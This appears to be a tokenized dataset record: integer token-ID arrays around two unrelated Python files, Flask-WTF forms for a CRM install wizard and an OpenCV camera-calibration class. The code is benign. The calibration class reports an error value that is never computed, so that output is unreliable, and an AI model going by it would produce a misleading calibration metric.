9125, 13902, 24204, 29898, 1761, 876, 13, 18884, 1400, 29918, 5014, 353, 18761, 13, 18884, 1746, 353, 2391, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 524, 2396, 13, 18884, 1746, 353, 8102, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 7411, 2396, 13, 18884, 1746, 353, 27842, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 11227, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 2033, 353, 518, 27636, 580, 29962, 13, 18884, 1746, 353, 11185, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 23749, 29889, 2378, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 17657, 3101, 13, 18884, 1400, 29918, 5014, 353, 1067, 29879, 29889, 1445, 29918, 19170, 29898, 1767, 29897, 13, 18884, 1746, 353, 27747, 2283, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 23749, 29889, 3757, 2378, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 17657, 3101, 13, 18884, 1400, 29918, 5014, 353, 1067, 29879, 29889, 1445, 29918, 19170, 29898, 1767, 29897, 13, 18884, 1746, 353, 27747, 2283, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 15112, 29889, 17271, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 17657, 3101, 13, 18884, 1400, 29918, 5014, 353, 1067, 29879, 29889, 1445, 29918, 19170, 29898, 1767, 29897, 13, 18884, 1746, 353, 27747, 2283, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 15112, 29889, 19204, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 17657, 3101, 13, 18884, 1400, 29918, 5014, 353, 1067, 29879, 29889, 1445, 29918, 19170, 29898, 1767, 29897, 13, 18884, 1746, 353, 27747, 2283, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 3126, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 17657, 18959, 3126, 25901, 13, 18884, 1400, 29918, 5014, 353, 1067, 29879, 29889, 1445, 29918, 19170, 29898, 1767, 29897, 13, 18884, 1746, 353, 27747, 2283, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 995, 1275, 525, 1445, 2396, 13, 18884, 9049, 5085, 1839, 3084, 4097, 13359, 4397, 29898, 13, 462, 1678, 7338, 2673, 29898, 2917, 1839, 14930, 29918, 24299, 25901, 13, 18884, 1746, 353, 27747, 2283, 3073, 29898, 1068, 19290, 29897, 13, 9651, 25342, 338, 8758, 29898, 1767, 29892, 1051, 1125, 13, 18884, 19995, 353, 518, 13, 462, 1678, 851, 29898, 6146, 467, 17010, 2141, 17010, 877, 29908, 2824, 17010, 703, 29915, 1159, 13, 462, 1678, 363, 4552, 297, 995, 13, 18884, 4514, 13, 18884, 1400, 29918, 5014, 353, 1174, 398, 6982, 29898, 1767, 29892, 19995, 29897, 13, 13, 18884, 565, 2322, 338, 6213, 322, 451, 3734, 29901, 13, 462, 1678, 19995, 353, 6024, 10074, 2033, 718, 19995, 13, 18884, 9049, 5085, 1839, 1859, 1575, 2033, 353, 17288, 6146, 29892, 4552, 29897, 363, 4552, 297, 19995, 29962, 13, 13, 18884, 1746, 353, 7605, 3073, 29898, 1068, 19290, 29897, 13, 9651, 1683, 29901, 13, 18884, 12020, 10980, 275, 2392, 29898, 13, 462, 1678, 285, 29908, 2671, 995, 426, 1767, 29913, 451, 9259, 363, 426, 1989, 29913, 1213, 13, 18884, 1723, 13, 4706, 25342, 1180, 338, 451, 6213, 322, 995, 1275, 525, 9803, 2396, 13, 9651, 565, 451, 338, 8758, 29898, 2029, 29892, 1051, 29897, 470, 451, 7431, 29898, 2029, 29897, 1275, 29871, 29906, 29901, 13, 18884, 12020, 10980, 275, 2392, 29898, 13, 462, 1678, 285, 29908, 3644, 1134, 22372, 1767, 10162, 769, 1180, 1818, 367, 310, 1134, 376, 13, 462, 1678, 376, 1761, 411, 3721, 1023, 3161, 29901, 376, 13, 462, 1678, 376, 29896, 29889, 278, 2566, 1591, 770, 29889, 376, 13, 462, 1678, 376, 29906, 29889, 278, 4341, 304, 6699, 363, 4629, 6251, 313, 710, 470, 1051, 467, 29908, 13, 18884, 1723, 13, 9651, 396, 679, 1591, 515, 2566, 1591, 770, 1024, 13, 9651, 1591, 353, 2295, 29889, 657, 29918, 2371, 29918, 3166, 29918, 1990, 978, 29898, 2029, 29961, 29900, 2314, 13, 9651, 4341, 353, 1180, 29961, 29896, 29962, 13, 13, 9651, 396, 1423, 4341, 13, 9651, 565, 338, 8758, 29898, 13099, 29892, 851, 29897, 322, 4341, 451, 297, 1591, 29889, 2813, 292, 29901, 13, 18884, 12020, 10980, 275, 2392, 29898, 13, 462, 1678, 285, 29908, 4409, 22372, 13099, 10162, 451, 297, 1591, 376, 13, 462, 1678, 285, 29908, 29912, 2371, 29889, 8159, 29918, 2371, 29918, 978, 3400, 2609, 1653, 1746, 426, 1989, 29913, 1213, 13, 18884, 1723, 13, 9651, 25342, 313, 13, 18884, 451, 338, 8758, 29898, 13099, 29892, 851, 29897, 13, 18884, 322, 313, 842, 29898, 13099, 29897, 448, 731, 29898, 2371, 29889, 2813, 292, 876, 13, 632, 1125, 13, 18884, 12020, 10980, 275, 2392, 29898, 13, 462, 1678, 285, 29908, 14289, 22372, 842, 29898, 13099, 29897, 448, 731, 29898, 2371, 29889, 2813, 292, 2915, 29915, 451, 376, 13, 462, 1678, 285, 29908, 262, 1591, 426, 2371, 29889, 8159, 29918, 2371, 29918, 978, 3400, 376, 13, 462, 1678, 285, 29908, 29883, 6735, 1653, 1746, 426, 1989, 29913, 1213, 13, 18884, 1723, 13, 13, 9651, 1400, 29918, 5014, 353, 24331, 6982, 29898, 2371, 29892, 4341, 29897, 13, 9651, 396, 1653, 19995, 13, 9651, 19995, 353, 1591, 29889, 20865, 2141, 9155, 580, 13, 9651, 19995, 353, 518, 13, 18884, 313, 710, 29898, 6146, 511, 851, 29898, 6146, 876, 13, 18884, 565, 7431, 29898, 6146, 29897, 1405, 29871, 29896, 13, 18884, 1683, 313, 710, 29898, 6146, 511, 851, 29898, 6146, 29961, 29900, 12622, 13, 18884, 363, 4552, 297, 19995, 13, 9651, 4514, 13, 9651, 19995, 353, 12705, 29898, 1859, 1575, 29897, 13, 13, 9651, 565, 2322, 338, 6213, 322, 451, 3734, 29901, 13, 18884, 19995, 353, 518, 877, 10074, 742, 525, 10074, 1495, 29962, 718, 19995, 13, 13, 9651, 9049, 5085, 1839, 1859, 1575, 2033, 353, 19995, 13, 9651, 1746, 353, 7605, 3073, 29898, 1068, 19290, 29897, 13, 4706, 25342, 1180, 338, 451, 6213, 322, 338, 8758, 29898, 1767, 29892, 851, 1125, 13, 9651, 1180, 353, 11592, 29918, 9507, 29898, 2029, 29897, 13, 9651, 1180, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 12083, 2084, 29892, 1180, 29897, 13, 9651, 396, 1018, 701, 304, 2211, 2967, 17525, 1623, 13, 9651, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 2029, 2084, 1125, 13, 18884, 396, 1018, 1667, 1120, 359, 924, 4138, 13, 18884, 1180, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 29898, 12083, 2084, 511, 1180, 29897, 13, 18884, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 2029, 2084, 1125, 13, 462, 1678, 1180, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 13, 462, 4706, 2897, 29889, 2084, 29889, 25721, 29898, 359, 29889, 2084, 29889, 25721, 29898, 12083, 2084, 8243, 1180, 13, 462, 1678, 1723, 13, 462, 1678, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 2029, 2084, 1125, 13, 462, 4706, 12020, 10980, 275, 2392, 29898, 13, 462, 9651, 285, 29915, 12924, 29850, 2029, 5038, 947, 451, 1863, 297, 525, 13, 462, 9651, 285, 29915, 1300, 359, 924, 4138, 525, 13, 462, 9651, 285, 11838, 29912, 359, 29889, 2084, 29889, 6500, 3871, 29898, 12083, 2084, 2915, 29908, 525, 13, 462, 9651, 285, 29915, 392, 884, 451, 297, 278, 1667, 1120, 359, 924, 4138, 6169, 13, 462, 4706, 1723, 13, 9651, 396, 679, 599, 2066, 515, 4138, 13, 9651, 2066, 353, 13149, 29889, 23705, 29898, 359, 29889, 2084, 29889, 7122, 29898, 2029, 2084, 29892, 525, 29930, 8785, 13, 9651, 396, 871, 1993, 3058, 17752, 13, 9651, 565, 313, 1767, 1275, 525, 15112, 29889, 17271, 1495, 470, 313, 1767, 1275, 525, 23749, 29889, 3757, 2378, 29374, 13, 18884, 2066, 353, 518, 13, 462, 1678, 565, 488, 363, 565, 488, 297, 2066, 13, 462, 1678, 565, 313, 13, 462, 4706, 565, 488, 29889, 1975, 2541, 12839, 29886, 6321, 1495, 13, 462, 4706, 470, 565, 488, 29889, 1975, 2541, 12839, 29876, 2272, 1495, 13, 462, 4706, 470, 565, 488, 29889, 1975, 2541, 12839, 7638, 1495, 13, 462, 4706, 470, 565, 488, 29889, 1975, 2541, 12839, 3126, 1495, 13, 462, 1678, 1723, 13, 18884, 4514, 13, 9651, 25342, 995, 1275, 525, 23749, 29889, 2378, 2396, 13, 18884, 2066, 353, 518, 13, 462, 1678, 565, 488, 363, 565, 488, 297, 2066, 13, 462, 1678, 565, 313, 13, 462, 4706, 565, 488, 29889, 1975, 2541, 12839, 29886, 6321, 1495, 13, 462, 4706, 470, 565, 488, 29889, 1975, 2541, 12839, 29876, 2272, 1495, 13, 462, 4706, 470, 565, 488, 29889, 1975, 2541, 12839, 7638, 1495, 13, 462, 1678, 1723, 13, 18884, 4514, 13, 9651, 25342, 313, 1767, 1275, 525, 3126, 1495, 470, 313, 1767, 1275, 525, 15112, 29889, 19204, 29374, 13, 18884, 2066, 353, 518, 361, 488, 363, 565, 488, 297, 2066, 565, 565, 488, 29889, 1975, 2541, 12839, 3126, 1495, 29962, 13, 9651, 1683, 29901, 13, 18884, 396, 14383, 934, 393, 1369, 411, 1023, 23400, 29883, 2361, 321, 29889, 29887, 29889, 4770, 2344, 26914, 2272, 13, 18884, 2066, 353, 518, 13, 462, 1678, 565, 488, 13, 462, 1678, 363, 565, 488, 297, 2066, 13, 462, 1678, 565, 451, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 361, 488, 467, 27382, 2541, 877, 1649, 1495, 13, 18884, 4514, 13, 9651, 396, 6230, 408, 19995, 13, 9651, 19995, 353, 518, 13, 18884, 313, 710, 29898, 6146, 511, 2897, 29889, 2084, 29889, 5451, 29898, 6146, 9601, 29899, 29896, 2314, 13, 18884, 363, 4552, 297, 2066, 13, 9651, 4514, 13, 9651, 396, 6230, 6213, 7348, 13, 9651, 565, 2322, 338, 6213, 322, 451, 3734, 29901, 13, 18884, 19995, 353, 518, 877, 10074, 742, 525, 10074, 1495, 29962, 718, 19995, 13, 9651, 9049, 5085, 1839, 1859, 1575, 2033, 353, 19995, 13, 9651, 1400, 29918, 5014, 353, 1067, 29879, 29889, 1445, 29918, 19170, 29898, 1767, 29897, 13, 9651, 1746, 353, 7605, 3073, 29898, 1068, 19290, 29897, 13, 4706, 25342, 338, 8758, 29898, 1767, 29892, 9657, 1125, 13, 9651, 883, 29892, 1400, 29918, 5014, 353, 7343, 29918, 1300, 359, 924, 287, 29918, 689, 29898, 13, 18884, 995, 29892, 4138, 2084, 29892, 1939, 29907, 29879, 9600, 2500, 13, 9651, 1723, 13, 9651, 1746, 353, 3812, 3073, 29898, 689, 29897, 13, 4706, 396, 14402, 731, 1353, 310, 1746, 21513, 313, 27382, 2541, 16985, 29897, 13, 4706, 1683, 29901, 13, 9651, 12020, 10980, 275, 2392, 29898, 29888, 29908, 2671, 995, 426, 1767, 29913, 451, 9259, 363, 426, 1989, 1836, 1159, 13, 13, 4706, 396, 1207, 20380, 313, 3068, 788, 2999, 1819, 4208, 29897, 13, 4706, 565, 13649, 29901, 13, 9651, 1746, 353, 8989, 1293, 29898, 13, 18884, 1746, 29892, 13, 18884, 1375, 29918, 26586, 29922, 524, 29898, 12403, 29897, 718, 29871, 29896, 29871, 396, 505, 697, 3734, 1746, 565, 577, 13, 9651, 1723, 13, 9651, 1400, 29918, 5014, 353, 2391, 6982, 29898, 2490, 29918, 5014, 29897, 13, 4706, 736, 1746, 29892, 1400, 29918, 5014, 13, 13, 13, 1753, 7343, 29918, 1300, 359, 924, 287, 29918, 689, 29898, 27126, 29892, 4138, 2084, 29892, 883, 1990, 29922, 2500, 1125, 13, 13, 1678, 1400, 29918, 5014, 29918, 8977, 353, 6571, 13, 13, 1678, 770, 27747, 2500, 29898, 689, 1990, 29892, 3812, 29924, 861, 262, 1125, 13, 4706, 1209, 13, 13, 1678, 363, 1820, 29892, 995, 297, 8600, 29889, 7076, 7295, 13, 4706, 396, 6589, 297, 278, 4390, 470, 15998, 1410, 10652, 1475, 1369, 411, 903, 13, 4706, 565, 1820, 29889, 27382, 2541, 14237, 29374, 13, 9651, 6773, 13, 4706, 565, 451, 1820, 29889, 275, 25378, 7295, 13, 9651, 12020, 10980, 275, 2392, 29898, 13, 18884, 285, 29908, 1989, 426, 1989, 29913, 338, 451, 385, 15882, 29936, 474, 29889, 29872, 29889, 394, 16711, 25099, 376, 13, 18884, 376, 392, 23400, 3221, 4890, 871, 29889, 450, 1820, 4225, 304, 367, 376, 13, 18884, 376, 273, 15882, 565, 372, 338, 1304, 408, 263, 13553, 2645, 740, 376, 13, 18884, 376, 4804, 292, 1213, 13, 9651, 1723, 13, 13, 4706, 4469, 29918, 2671, 353, 5202, 359, 924, 287, 3073, 29898, 13, 9651, 1820, 29892, 995, 29892, 4138, 2084, 13, 4706, 1723, 13, 13, 4706, 1400, 29918, 5014, 29918, 8977, 29961, 1989, 29962, 353, 4469, 29918, 2671, 29889, 2490, 29918, 5014, 13, 13, 4706, 731, 5552, 29898, 13, 9651, 27747, 2500, 29892, 13, 9651, 1820, 29892, 13, 9651, 4469, 29918, 2671, 29889, 2671, 13, 4706, 1723, 13, 13, 1678, 736, 27747, 2500, 29892, 360, 919, 6982, 29898, 2490, 29918, 5014, 29918, 8977, 29897, 13, 2 ]
fellowcrm/upgrade/forms.py
Fellow-Consulting-AG/fellowcrm
0
168272
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, SubmitField, BooleanField from wtforms.validators import DataRequired, Length, Email, EqualTo from wtforms_sqlalchemy.fields import QuerySelectField from fellowcrm.settings.models import Currency, TimeZone class NewSystemUser(FlaskForm): first_name = StringField('First Name', validators=[DataRequired(message='Please enter your first name')]) last_name = StringField('Last Name', validators=[DataRequired(message='Please enter your last name'), Length(min=2, max=20)]) email = StringField('Email', validators=[DataRequired( message='Email address is mandatory'), Email(message='Please enter a valid email address e.g. <EMAIL>')]) password = PasswordField('Password', validators=[DataRequired(message='Password is mandatory')]) confirm_password = PasswordField('<PASSWORD> Password', validators=[DataRequired( message='Confirm Password is mandatory'), EqualTo('password', 'Passwords do not match')]) submit = SubmitField('Next: Setup Company Details') class CurrencyTz(FlaskForm): currency = QuerySelectField('Default Currency', query_factory=Currency.get_list_query, get_pk=lambda a: a.id, get_label='name', validators=[DataRequired(message='Please select default currency')]) time_zone = QuerySelectField('Your Time Zone', query_factory=TimeZone.get_list_query, get_pk=lambda a: a.id, get_label='name', validators=[DataRequired(message='Please select your timezone')]) submit = SubmitField('Next: Finish Installation') class FinishInstall(FlaskForm): import_sample_data = BooleanField('Install Sample Data') submit = SubmitField('Complete Installation')
[ 1, 515, 29784, 29918, 29893, 13264, 1053, 2379, 1278, 2500, 13, 3166, 281, 29873, 9514, 1053, 1714, 3073, 29892, 25280, 3073, 29892, 3323, 2415, 3073, 29892, 11185, 3073, 13, 3166, 281, 29873, 9514, 29889, 3084, 4097, 1053, 3630, 19347, 29892, 365, 1477, 29892, 22608, 29892, 11243, 284, 1762, 13, 3166, 281, 29873, 9514, 29918, 2850, 284, 305, 6764, 29889, 9621, 1053, 13641, 3549, 3073, 13, 13, 3166, 10404, 29883, 1758, 29889, 11027, 29889, 9794, 1053, 315, 10880, 29892, 5974, 18482, 13, 13, 13, 1990, 1570, 3924, 2659, 29898, 8754, 1278, 2500, 1125, 13, 1678, 937, 29918, 978, 353, 1714, 3073, 877, 6730, 4408, 742, 2854, 4097, 11759, 1469, 19347, 29898, 4906, 2433, 12148, 3896, 596, 937, 1024, 1495, 2314, 13, 1678, 1833, 29918, 978, 353, 1714, 3073, 877, 8897, 4408, 742, 13, 462, 9651, 2854, 4097, 11759, 1469, 19347, 29898, 4906, 2433, 12148, 3896, 596, 1833, 1024, 5477, 365, 1477, 29898, 1195, 29922, 29906, 29892, 4236, 29922, 29906, 29900, 29897, 2314, 13, 1678, 4876, 353, 1714, 3073, 877, 9823, 742, 13, 462, 4706, 2854, 4097, 11759, 1469, 19347, 29898, 13, 462, 9651, 2643, 2433, 9823, 3211, 338, 9619, 7606, 5477, 13, 462, 9651, 22608, 29898, 4906, 2433, 12148, 3896, 263, 2854, 4876, 3211, 321, 29889, 29887, 29889, 529, 26862, 6227, 29958, 1495, 2314, 13, 1678, 4800, 353, 25280, 3073, 877, 10048, 742, 13, 462, 632, 2854, 4097, 11759, 1469, 19347, 29898, 4906, 2433, 10048, 338, 9619, 7606, 1495, 2314, 13, 1678, 9659, 29918, 5630, 353, 25280, 3073, 877, 29966, 25711, 17013, 29958, 25280, 742, 13, 462, 462, 268, 2854, 4097, 11759, 1469, 19347, 29898, 13, 462, 462, 308, 2643, 2433, 16376, 3568, 25280, 338, 9619, 7606, 5477, 13, 462, 462, 308, 11243, 284, 1762, 877, 5630, 742, 525, 7129, 9303, 437, 451, 1993, 1495, 2314, 13, 1678, 9752, 353, 3323, 2415, 3073, 877, 9190, 29901, 3789, 786, 6938, 25577, 1495, 13, 13, 13, 1990, 315, 10880, 29911, 29920, 29898, 8754, 1278, 2500, 1125, 13, 1678, 27550, 353, 13641, 3549, 3073, 877, 4592, 315, 10880, 742, 2346, 29918, 14399, 29922, 29907, 10880, 29889, 657, 29918, 1761, 29918, 1972, 29892, 679, 29918, 20571, 29922, 2892, 263, 29901, 263, 29889, 333, 29892, 13, 462, 18884, 679, 29918, 1643, 2433, 978, 742, 13, 462, 18884, 2854, 4097, 11759, 1469, 19347, 29898, 4906, 2433, 12148, 1831, 2322, 27550, 1495, 2314, 13, 1678, 931, 29918, 8028, 353, 13641, 3549, 3073, 877, 10858, 5974, 24385, 742, 2346, 29918, 14399, 29922, 2481, 18482, 29889, 657, 29918, 1761, 29918, 1972, 29892, 679, 29918, 20571, 29922, 2892, 263, 29901, 263, 29889, 333, 29892, 13, 462, 462, 679, 29918, 1643, 2433, 978, 742, 13, 462, 462, 2854, 4097, 11759, 1469, 19347, 29898, 4906, 2433, 12148, 1831, 596, 29431, 1495, 2314, 13, 1678, 9752, 353, 3323, 2415, 3073, 877, 9190, 29901, 4231, 728, 16052, 362, 1495, 13, 13, 13, 1990, 4231, 728, 23271, 29898, 8754, 1278, 2500, 1125, 13, 1678, 1053, 29918, 11249, 29918, 1272, 353, 11185, 3073, 877, 23271, 21029, 3630, 1495, 13, 1678, 9752, 353, 3323, 2415, 3073, 877, 17813, 16052, 362, 1495, 13, 13, 2 ]
CameraCalibration.py
lsmanoel/StereoVision
0
23281
import numpy as np import cv2 import glob from matplotlib import pyplot as plt class CameraCalibration(): def __init__(self): pass # =========================================================== # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @staticmethod def find_chess(frame_input, chess_size=(6, 6)): status = None print("chess...") # termination criteria criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001) # prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0) objp = np.zeros((chess_size[0]*chess_size[1], 3), np.float32) objp[:, :2] = np.mgrid[0:chess_size[0], 0:chess_size[1]].T.reshape(-1, 2) # Arrays to store object points and image points from all the images. objpoints = [] # 3d point in real world space imgpoints = [] # 2d points in image plane. frame_gray = cv2.cvtColor(frame_input, cv2.COLOR_BGR2GRAY) # Find the chess board corners ret, corners = cv2.findChessboardCorners(frame_gray, (chess_size[0], chess_size[1]), None) # If found, add object points, image points (after refining them) frame_output = None if ret == True: status = "checkmate!" print(status) objpoints.append(objp) corners2 = cv2.cornerSubPix(frame_gray, corners, (11, 11), (-1, -1), criteria) imgpoints.append(corners2) # Draw and display the corners frame_output = cv2.drawChessboardCorners(frame_input, (chess_size[0], chess_size[1]), corners2, ret) plt.imshow(frame_output) plt.show() if frame_output is None: frame_output = frame_input return frame_output, objpoints, imgpoints, status # =========================================================== # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @staticmethod def calibrateCoefficients(frame_input, objpoints, imgpoints): ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, frame_input.shape[::-1], None, None) tot_error = 0 mean_error = 0 for i in range(len(objpoints)): imgpoints2, _ = cv2.projectPoints(objpoints[i], rvecs[i], tvecs[i], mtx, dist) error = cv2.norm(imgpoints[i],imgpoints2, cv2.NORM_L2)/len(imgpoints2) tot_error += error print("total error: ", mean_error/len(objpoints)) return ret, mtx, dist, rvecs, tvecs # $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @staticmethod def testbench(video_source=2): capture = cv2.VideoCapture(video_source) count_frame = 0 while 1: # ++++++++++++++++++++++++++++++++++++++++++++++++ print('calibrate state...') status = None while status is None: status = None ret, frame_input = capture.read() print(count_frame) count_frame += 1 frame_chess, objpoints, imgpoints, status = CameraCalibration.find_chess(frame_input) plt.imshow(frame_chess) plt.show() # ++++++++++++++++++++++++++++++++++++++++++++++++ frame_gray = cv2.cvtColor(frame_input, cv2.COLOR_BGR2GRAY) plt.imshow(frame_gray) plt.show() ret, mtx, dist, rvecs, tvecs = CameraCalibration.calibrateCoefficients(frame_gray, objpoints, imgpoints) h, w = frame_gray.shape[:2] newcameramtx, roi =cv2.getOptimalNewCameraMatrix(mtx, dist, (w, h), 1, (w, h)) # ++++++++++++++++++++++++++++++++++++++++++++++++ print('test state...') while 1: ret, frame_input = capture.read() frame_gray = cv2.cvtColor(frame_input,cv2.COLOR_BGR2GRAY) h, w = frame_gray.shape[:2] newcameramtx, roi =cv2.getOptimalNewCameraMatrix(mtx, dist, (w, h), 1, (w, h)) frame_undist = cv2.undistort(frame_input, mtx, dist, None, newcameramtx) x,y,w,h = roi print(x,y,w,h) # frame_undist = frame_undist[y:y+h, x:x+w] frame_concat = np.concatenate((frame_undist, frame_input), axis=1) plt.imshow(frame_concat) plt.show() # ---------------------------------------------------------- # Esc -> EXIT while # while 1: # k = cv2.waitKey(1) & 0xff # if k ==13 or k==27: # break # if k == 27: # break # ---------------------------------------------------------- capture.release() cv2.destroyAllWindows() # $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @staticmethod def getPhoto(video_source=0): capture = cv2.VideoCapture(video_source) while 1: ret, frame_input = capture.read() frame_line = frame_input frame_output = cv2.line(frame_line, (0, frame_line.shape[0]//2), (frame_line.shape[1], frame_line.shape[0]//2), (255,0,0), 1) frame_output = cv2.line(frame_line, (frame_line.shape[1]//2, 0), (frame_line.shape[1]//2, frame_line.shape[0]), (255,0,0), 1) cv2.imshow("Video", frame_line) # ------------------------------------------------------------------------------------------------------------------ # Esc -> EXIT while k = cv2.waitKey(30) & 0xff if k == 27: break # ------------------------------------------------------------------------------------------------------------------ # ---------------------------------------------------------------------------------------------------------------------- ret, frame_input = capture.read() frame_input = cv2.cvtColor(frame_input, cv2.COLOR_BGR2RGB) plt.imshow(frame_input) plt.xticks([]) plt.yticks([]) plt.show() # ---------------------------------------------------------------------------------------------------------------------- capture.release() cv2.destroyAllWindows() # $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ # $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ # $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ # CameraCalibration.testbench(video_source=2)
[ 1, 29871, 13, 5215, 12655, 408, 7442, 13, 5215, 13850, 29906, 13, 5215, 13149, 13, 3166, 22889, 1053, 11451, 5317, 408, 14770, 13, 13, 1990, 24321, 7856, 26218, 7295, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1209, 13, 13, 1678, 396, 1275, 9166, 9166, 9166, 4936, 29922, 13, 1678, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1284, 29918, 305, 404, 29898, 2557, 29918, 2080, 29892, 521, 404, 29918, 2311, 7607, 29953, 29892, 29871, 29953, 22164, 13, 4706, 4660, 353, 6213, 13, 4706, 1596, 703, 305, 404, 856, 1159, 13, 13, 4706, 396, 1840, 3381, 16614, 13, 4706, 16614, 353, 313, 11023, 29906, 29889, 4945, 29924, 29918, 11341, 1806, 1001, 10764, 29918, 29923, 7024, 718, 13850, 29906, 29889, 4945, 29924, 29918, 11341, 1806, 1001, 10764, 29918, 12648, 29918, 1806, 1001, 29892, 29871, 29941, 29900, 29892, 29871, 29900, 29889, 29900, 29900, 29896, 29897, 13, 13, 4706, 396, 19012, 1203, 3291, 29892, 763, 313, 29900, 29892, 29900, 29892, 29900, 511, 313, 29896, 29892, 29900, 29892, 29900, 511, 313, 29906, 29892, 29900, 29892, 29900, 29897, 13035, 22657, 29953, 29892, 29945, 29892, 29900, 29897, 13, 4706, 5446, 29886, 353, 7442, 29889, 3298, 359, 3552, 305, 404, 29918, 2311, 29961, 29900, 14178, 305, 404, 29918, 2311, 29961, 29896, 1402, 29871, 29941, 511, 7442, 29889, 7411, 29941, 29906, 29897, 13, 4706, 5446, 29886, 7503, 29892, 584, 29906, 29962, 353, 7442, 29889, 29885, 7720, 29961, 29900, 29901, 305, 404, 29918, 2311, 29961, 29900, 1402, 29871, 29900, 29901, 305, 404, 29918, 2311, 29961, 29896, 29962, 1822, 29911, 29889, 690, 14443, 6278, 29896, 29892, 29871, 29906, 29897, 13, 13, 4706, 396, 4398, 29879, 304, 3787, 1203, 3291, 322, 1967, 3291, 515, 599, 278, 4558, 29889, 13, 4706, 5446, 9748, 353, 5159, 396, 29871, 29941, 29881, 1298, 297, 1855, 3186, 2913, 13, 4706, 10153, 9748, 353, 5159, 396, 29871, 29906, 29881, 3291, 297, 1967, 10694, 29889, 13, 13, 4706, 3515, 29918, 21012, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 2557, 29918, 2080, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 29954, 22800, 29897, 13, 13, 4706, 396, 10987, 278, 521, 404, 7613, 26995, 13, 4706, 3240, 29892, 26995, 353, 13850, 29906, 29889, 2886, 1451, 404, 3377, 29907, 1398, 414, 29898, 2557, 29918, 21012, 29892, 313, 305, 404, 29918, 2311, 29961, 29900, 1402, 521, 404, 29918, 2311, 29961, 29896, 11724, 6213, 29897, 13, 13, 4706, 396, 960, 1476, 29892, 788, 1203, 3291, 29892, 1967, 3291, 313, 7045, 2143, 2827, 963, 29897, 13, 4706, 3515, 29918, 4905, 353, 6213, 13, 4706, 565, 3240, 1275, 5852, 29901, 13, 9651, 4660, 353, 376, 3198, 25046, 3850, 13, 9651, 1596, 29898, 4882, 29897, 13, 9651, 5446, 9748, 29889, 4397, 29898, 5415, 29886, 29897, 13, 13, 9651, 26995, 29906, 353, 13850, 29906, 29889, 2616, 1089, 4035, 29925, 861, 29898, 2557, 29918, 21012, 29892, 29871, 13, 462, 462, 4706, 26995, 29892, 29871, 13, 462, 462, 4706, 313, 29896, 29896, 29892, 29871, 29896, 29896, 511, 29871, 13, 462, 462, 4706, 8521, 29896, 29892, 448, 29896, 511, 29871, 13, 462, 462, 4706, 16614, 29897, 13, 9651, 10153, 9748, 29889, 4397, 29898, 29883, 1398, 414, 29906, 29897, 13, 13, 9651, 396, 18492, 322, 2479, 278, 26995, 13, 9651, 3515, 29918, 4905, 353, 13850, 29906, 29889, 4012, 1451, 404, 3377, 29907, 1398, 414, 29898, 2557, 29918, 2080, 29892, 313, 305, 404, 29918, 2311, 29961, 29900, 1402, 521, 404, 29918, 2311, 29961, 29896, 11724, 26995, 29906, 29892, 3240, 29897, 13, 9651, 14770, 29889, 326, 4294, 29898, 2557, 29918, 4905, 29897, 13, 9651, 14770, 29889, 4294, 580, 13, 13, 4706, 565, 3515, 29918, 4905, 338, 6213, 29901, 13, 9651, 3515, 29918, 4905, 353, 3515, 29918, 2080, 13, 13, 4706, 736, 3515, 29918, 4905, 29892, 5446, 9748, 29892, 10153, 9748, 29892, 4660, 13, 13, 1678, 396, 1275, 9166, 9166, 9166, 4936, 29922, 13, 1678, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 